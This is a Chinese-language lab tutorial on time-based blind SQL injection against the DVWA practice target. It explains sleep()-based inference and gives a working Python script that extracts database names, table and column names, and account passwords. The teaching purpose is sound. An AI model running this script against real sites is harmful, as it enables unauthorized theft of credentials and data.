|
原文链接:SQL Injection (Blind) time盲注入
python3编写EXP系列
SQL Injection (Blind) time盲注入
1 简介
DVWA靶场这个是最基础的靶场如果想学习EXP编写这个靶场最好不过,如果能把这个靶场的利用的EXP用python3编写出来这样算是合格的exp入门选手了。
https://github.com/digininja/DVWA
这个系列的第五篇内容这里会学习到如何通过时间注入,获取账号和密码。
盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
2 原理
盲注的方法分布有布尔型注入 time注入昨天详细说明了布尔型注入的经过,今天讲的是time注入,也就是时间差注入,或者又叫延时注入,是利用sql语句达到延时的目的,在mysql中用的sleep()函数,select sleep(3) 数据库延时3秒返回信息。利用这个函数加上if函数进行判断,就可以达到延时注入,最后得出要查询的数据。
将dvwa等级设置low的时候访问http://www.dvwa.com/vulnerabilit ... &Submit=Submit#
将延时语句输入可以看到时间是大于10的而且不用理会页面是否返回不同信息。
只要有延时,就能采用延时注入的方法,注入查询内容。
3 编写exp思路
payload ="./@_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
首先要查询内容的长度,再遍历长度每一个字符 与 payload的字符每个进行匹配如果匹配 成功 页面延时5秒返回页面例如 要查询 selectif(length(database())=12,sleep(5),0); 如果查询的数据库长度等于12延时五秒 得到长度 再查询内容
select if(substring(database(),1,1)='w',sleep(5),0);
如果正确延时五秒返回页面。如此类推 一直到最后一个。
编写代码
- #coding:utf-8
- import requests
- import time
- url="http://www.dvwa.com/vulnerabilities/sqli_blind/?id=1"
- cookies = {"PHPSESSID":"db226n2bulhv02k6ajou1i8e87","security":"low"}
- user="user()"
- dbname="database()"
- tables="(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())"
- columns="(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7573657273)"
- userpass="(select concat(user,0x3a,password) from users limit 1)"
- times="sleep()"
- def getlen(sql):
- n=1
- while True:
- start_time =time.time()
- req = requests.get(url=url + "'and if(length({})={},sleep(5),0)-- &Submit=Submit#".format(sql,n), cookies=cookies)
- space_time = time.time()-start_time
- if space_time>=5:
- break
- n=n+1
- return n
- def getdata(sql):
- payloads = "./@_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
- getstr = ''
- for i in range(1,getlen(sql)+1):
- for p in payloads:
- start_time = time.time()
- turl = url + "'and if(ascii(substring({},{},1))={},sleep(5),0)-- &Submit=Submit#".format(sql,i,ord(p))
- req=requests.get(url=turl,cookies=cookies)
- space_time = time.time() - start_time
- print("[+] 正在执行 {} -- {} [+]".format(i,p))
- if space_time >= 5:
- getstr+=p
- print("[*]正在获取数据 [*] "+getstr)
- break
- return getstr
- print("[*] 当前用户 [*] "+getdata(user))
- print("[*] 当前库 [*] "+getdata(dbname))
- print("[*] 库的所有表 [*] "+getdata(tables))
- print("[*] user表的字段 [*] "+getdata(columns))
- print("[*] 账号和密码 [*] "+getdata(userpass))
复制代码
运行如图
4 关注
本公众号不定期更新文章和视频 欢迎前来关注
|
|